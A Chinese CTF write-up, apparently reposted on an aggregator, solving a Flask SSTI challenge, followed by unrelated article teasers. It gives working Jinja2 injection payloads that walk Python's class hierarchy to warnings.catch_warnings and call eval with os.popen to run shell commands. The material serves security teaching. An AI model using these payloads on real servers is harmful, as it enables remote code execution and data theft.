【Real】[Flask]SSTI

文章目录

  • 前言
  • 一、题目解读
  • 二、解题过程
  • 三、知识点
    • Flask是什么
    • SSTI是什么
    • SSTI是如何形成的
    • 易于利用的类
    • payload是什么
  • 探索类型和类层次结构和方法


前言

温馨提示:看到哪里不懂直接跳到知识点部分,理解完再回到解题过程。

一、题目解读

在这里插入图片描述

题目是[Flask]SSTI提示已经很清晰了。

在Flask上进行SSTI注入

二、解题过程

先简单逛一逛在这里插入图片描述
好朴素…

因为咱们已经知道用SSTI了,所以我们直接测试一下SSTL漏洞
输入{{6*6}},如果返回36,说明存在SSTI漏洞。

{{6*6}}

在这里插入图片描述

好了我们已经知道有这个漏洞了,下面咱们想想如何进行注入如何找到flag呢?
第一步肯定是信息搜集,利用__class____bases____subclasses__()在Python中进行类型和类层次结构的探索。

{{%27%27.__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述

查看源码就可以看到我们查到的这些类

在这里插入图片描述

找到了一个关键类warnings.catch_warnings

在这里插入图片描述

下面我们确定一下他的位置直接用索引函数

{{ ''.__class__.__mro__[1].__subclasses__().index(warnings.catch_warnings) }}

在这里插入图片描述

出现500内部服务器错误说明直接使用索引函数的方式在模板引擎中可能不被支持。那咱们只能一点一点排查了。

先从100~200试一试

{{ ''.__class__.__mro__[1].__subclasses__()[100:200] }}

ctrl+f可以直接在网页中搜索warnings.catch_warnings

在这里插入图片描述

搜到了,说明范围在100~200.根据下面的进度条再次缩小范围。尝试150 ~ 170.

{{ ''.__class__.__mro__[1].__subclasses__()[150:170] }}

最终确定是166
在这里插入图片描述
接下来咱们构造payload

列出上一级目录文件看看有没有flag

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("ls ../").read()')}}
''.__class__:'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。[166]:这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。.__init__.__globals__:获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。['eval']:从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。'__import__("os").popen("ls ../").read()':eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen("ls ../") 执行 ls ../ 命令,并读取其输出。

在这里插入图片描述

好吧没有flag

var里面看看

在这里插入图片描述
没有…

看看home和root

在这里插入图片描述
在这里插入图片描述
打扰了…

去环境变量里碰碰运气

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}
''.__class__:'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。[166]:这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。.__init__.__globals__:获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。.__builtins__['eval']:从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。"__import__('os').popen('ls /').read()":eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen('ls /') 执行 ls / 命令,并读取其输出。

在这里插入图片描述

小小flag,拿下!

三、知识点

Flask是什么

Flask 是一个用 Python 编写的轻量级 Web 应用框架。它的设计理念是尽量保持简单和灵活,适合小型应用和微服务架构。Flask 提供了基本的功能,如路由、模板引擎和请求处理等,但没有强制性的项目结构或组件,开发者可以根据需要选择扩展功能。Flask 常用于快速开发和原型设计,因为它的学习曲线相对较低,且与其他 Python 库兼容性好。

SSTI是什么

SSTI(Server-Side Template Injection)是指在服务器端模板引擎中注入恶意代码的漏洞。模板引擎用于将模板与数据结合生成动态HTML内容。如果用户输入未正确过滤或转义,攻击者可以插入恶意代码,导致任意代码执行或敏感数据泄露。常见的受影响模板引擎包括Jinja2(Python)、Thymeleaf(Java)、Twig(PHP)等。通过SSTI,攻击者可以获取服务器权限,窃取数据或进行进一步的攻击。

SSTI是如何形成的

SSTI(服务器端模板注入)形成的原因主要是由于模板引擎在处理用户输入时没有正确地进行过滤和转义。这使得攻击者可以通过插入恶意模板代码来执行任意服务器端代码。典型的形成步骤包括:

  • 用户输入被直接嵌入模板中。
  • 模板引擎解析并执行输入的模板代码。
  • 如果输入未经过适当的安全处理,攻击者可以插入并执行任意代码。

易于利用的类

在Flask模板注入(SSTI)中,有一些Python类和对象是易于利用的,因为它们提供了对底层系统和环境的直接访问。

1. os 模块:可以用来执行系统命令。
2. subprocess 模块:可以创建子进程并执行系统命令。
4. builtins 模块:包含所有内置函数和异常,可以通过全局命名空间访问。
5. eval 和 exec:可以执行字符串形式的Python代码。
6. 文件读取:如 file 模块中的 read 方法,用于读取文件内容。
7. 命令执行:如 warnings.catch_warnings 和 socket._socketobject,可以通过导入 os 模块执行系统命令,包括 system、popen 和 listdir。
8. 闪现信息:如 get_flashed_messages(),用于获取闪现信息。

payload是什么

payload" 是指用于执行特定攻击的代码或数据。在服务器端模板注入(SSTI)中,payload 是嵌入到模板中的恶意代码,用于执行任意命令或读取敏感信息。

payload通过利用Python的内部机制,实现了任意代码执行和文件读取。

探索类型和类层次结构和方法

  • __class__:获取对象的类。例如,'hello'.__class__ 返回 <class 'str'>
  • __bases__:获取类的基类(超类)。例如,str.__bases__ 返回 ( <class 'object'>,),表示 str 类直接继承自 object 类。
  • __subclasses__():获取一个类的所有子类。例如,object.__subclasses__()
    返回所有直接或间接继承自 object 类的子类。

在Python中,__class____bases____subclasses__() 是探索类型和类层次结构的重要属性和方法,这些属性和方法可以用于动态地探索和操控Python的类型层次结构,特别是在安全研究和漏洞利用中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/843589.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用Docker快速运行Firefox并实现远程访问本地火狐浏览器

文章目录 1. 部署Firefox2. 本地访问Firefox3. Linux安装Cpolar4. 配置Firefox公网地址5. 远程访问Firefox6. 固定Firefox公网地址7. 固定地址访问Firefox Firefox是一款免费开源的网页浏览器&#xff0c;由Mozilla基金会开发和维护。它是第一个成功挑战微软Internet Explorer浏…

【Linux学习】进程间通信 (3) —— System V (1)

下面是有关进程通信中 System V 的相关介绍&#xff0c;希望对你有所帮助&#xff01; 小海编程心语录-CSDN博客 目录 1. System V IPC 1. 消息队列 msg 消息队列的使用方法 1.1 消息队列的创建 1.2 向消息队列发送消息 1.3 从消息队列接收消息 1.4 使用msgctl函数显式地…

科技查新是什么?一文了解!

本文主要解答 1、什么是科技查新&#xff1f; 2、科技查新有哪些作用&#xff1f; 3、科技查新一般应用于什么地方&#xff1f; 4、在哪能出具正规查新报告&#xff1f; 5、科技查新流程是怎样的&#xff1f; 带着这些问题阅读这篇文章相信一定会有收获&#xff01;干活内…

【启程Golang之旅】运算符与流程控制讲解

欢迎来到Golang的世界&#xff01;在当今快节奏的软件开发领域&#xff0c;选择一种高效、简洁的编程语言至关重要。而在这方面&#xff0c;Golang&#xff08;又称Go&#xff09;无疑是一个备受瞩目的选择。在本文中&#xff0c;带领您探索Golang的世界&#xff0c;一步步地了…

如何让UE4.26使用VS2022【Windows,源码下载】

使用UE5一直用的是VS2022&#xff0c;都是因为团队需要&#xff0c;只能用UE4&#xff0c;而我电脑中拥有的UE4的版本是UE4.26以及VS2022&#xff0c;我不可能去下载VS2019来为这么一个项目&#xff0c;所以就研究了一下是哪里阻止了UE4.26不让我使用VS2022. 首先下载UE4.26源码…

记一次安卓“Low on memory“崩溃问题

前言 最近再调人脸识别算法相关demo,发现调试期间总是偶发性崩溃&#xff0c;捕获不到异常的那种&#xff0c;看日志发现原因是Low on memory&#xff0c;一开始还疑惑 App内存不够应该是OOM啊,怎么会出现这种问题&#xff0c;百思不得其解&#xff0c;直到我打开了 Android s…

在MySQL数据库中进行连接查询中的外连接查询

左外连接 特征&#xff1a;以左表为主&#xff0c;显示左表所有数据&#xff0c;相关联存在相同的值时显示对应数据&#xff0c;否则显示为NULL 语法&#xff1a;> select 表名.字段名称&#xff0c;表名.字段名称 from 表名 left join 表名 on 相关联的字段…

Linux java jni调用C++封装动态库

由于项目中java需要调用第三方提供的C动态库&#xff1b;由于第三方动态库传入的参数较多&#xff0c;还伴随着指针传入操作&#xff0c;导致java调用极为不便&#xff01;因此催生出对于第三方的C动态库进行二次封装。java调用只需按结构传入一个结构化的string即可。话不多说…

卧槽!这项目开源了!【送源码 】

随着科技的飞速发展&#xff0c;个人财务管理变得越来越重要。一个名为‘Maybe’的创新型个人财务与财富管理应用程序随之诞生&#xff0c;它以其丰富的功能和用户友好的界面受到了广大用户的关注。 现在项目方将这个价值 100万美元的个人理财应用项目开源了 Maybe Maybe应用…

吴恩达2022机器学习专项课程C2W2:2.19 sigmoid函数的替代方案 2.20如何选择激活函数 2.21 激活函数的重要性

这里写目录标题 引言sigmoid激活函数的局限1.回顾需求案例2.ReLU激活函数 常用的激活函数1.线性激活函数的解释 如何选择激活函数&#xff1f;1.选择输出层的激活函数2.选择隐藏层的激活函数 选择激活函数的总结1.输出层总结2.隐藏层总结3.TensorFlow设置激活函数 激活函数多样…

AI生成视频解决方案,降低成本,提高效率

传统的视频制作方式往往受限于高昂的成本、复杂的拍摄流程以及硬件设备的限制&#xff0c;为了解决这些问题&#xff0c;美摄科技凭借领先的AI技术&#xff0c;推出了全新的AI生成视频解决方案&#xff0c;为企业带来前所未有的视觉创新体验。 一、超越想象的AI视频生成 美摄…

大模型时代的具身智能系列专题(四)

google deepmind团队 谷歌旗下最大的两个 AI 研究机构——地处伦敦 DeepMind 与位于硅谷的 Google Brain 合并成立新部门 Google DeepMind。其将机器学习和系统神经科学的最先进技术结合起来&#xff0c;建立强大的通用学习算法。代表作有AlphaGo&#xff0c;AlphaStar&#x…

鸿蒙ArkTS声明式开发:跨平台支持列表【组件快捷键事件】

组件快捷键事件 开发者可以设置组件的自定义组合键&#xff0c;组合键的行为与click行为一致&#xff0c;组件在未获得焦点状态下也可以响应自定义组合键&#xff0c;每个组件可以设置多个组合键。 说明&#xff1a; 开发前请熟悉鸿蒙开发指导文档&#xff1a; gitee.com/li-s…

香橙派 AiPro通过Micro USB接口进行串口调试

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、配置步骤1.安装CH343驱动2.配置串口参数 二、使用步骤总结 前言 最近在玩一个新玩具香橙派 AiPro&#xff0c;除了通过SSH方式连接开发板以外&#xff0c;…

华为机考入门python3--(32)牛客32-密码截取

分类&#xff1a;最长对称子串、动态规划 知识点&#xff1a; 生成二维数组 dp [[0] * n for _ in range(n)] 求最大值 max(value1, value2) 动态规划的步骤 a. 定义问题 长度为n下最长的对称子串的长度 b. 确定状态 dp[i][j]表示字符串从索引i到j的子串是否为对称…

封装,static,代码块,对象的打印

封装&#xff0c;static&#xff0c;代码块&#xff0c;对象的打印 1. 封装1.1 封装的概念1.2 包的概念1.3 访问修饰限定符1.4 被封装的属性如何set和get&#xff1f; 2. static2.1 再谈学生类2.2 static修饰成员变量2.3 static修饰成员方法2.4 static成员变量初始化 3. 代码块…

IGMP——组播成员端网络协议

目录 一.IGMP基本概念 &#xff08;1&#xff09;组播转发困境 &#xff08;2&#xff09;感知组播成员方式 &#xff08;3&#xff09;IGMP版本 二.IGMP各版本的区别与联系 &#xff08;1&#xff09;IGMPV1 1.普遍组查询报文 2.成员关系报告报文 3.IGMPV1报文格式 4…

java第十七课 —— 递归

方法递归调用 递归就是方法自己调用自己&#xff0c;每次调用时传入不同的变量&#xff0c;递归有助于编程者解决复杂问题&#xff0c;同时可以让代码变得简洁。 递归重要规则 执行一个方法时&#xff0c;就创建一个新的受保护的独立空间&#xff08;栈空间&#xff09;。方…

922. 按奇偶排序数组 II - 力扣

1. 题目 给定一个非负整数数组 nums&#xff0c; nums 中一半整数是 奇数 &#xff0c;一半整数是 偶数 。 对数组进行排序&#xff0c;以便当 nums[i] 为奇数时&#xff0c;i 也是 奇数 &#xff1b;当 nums[i] 为偶数时&#xff0c; i 也是 偶数 。 你可以返回 任何满足上述…

微服务架构-异步消息传递设计模式

微服务架构-异步消息传递设计模式 异步消息允许服务发送消息后立即返回&#xff0c;而不需要等待消息被处理完毕&#xff0c;这种异步方式可以大大提高系统的处理速度、和吞吐量。 微服务架构&#xff0c;通常涉及多个服务之间的相互调用&#xff0c;如果通信只是在少数几个微…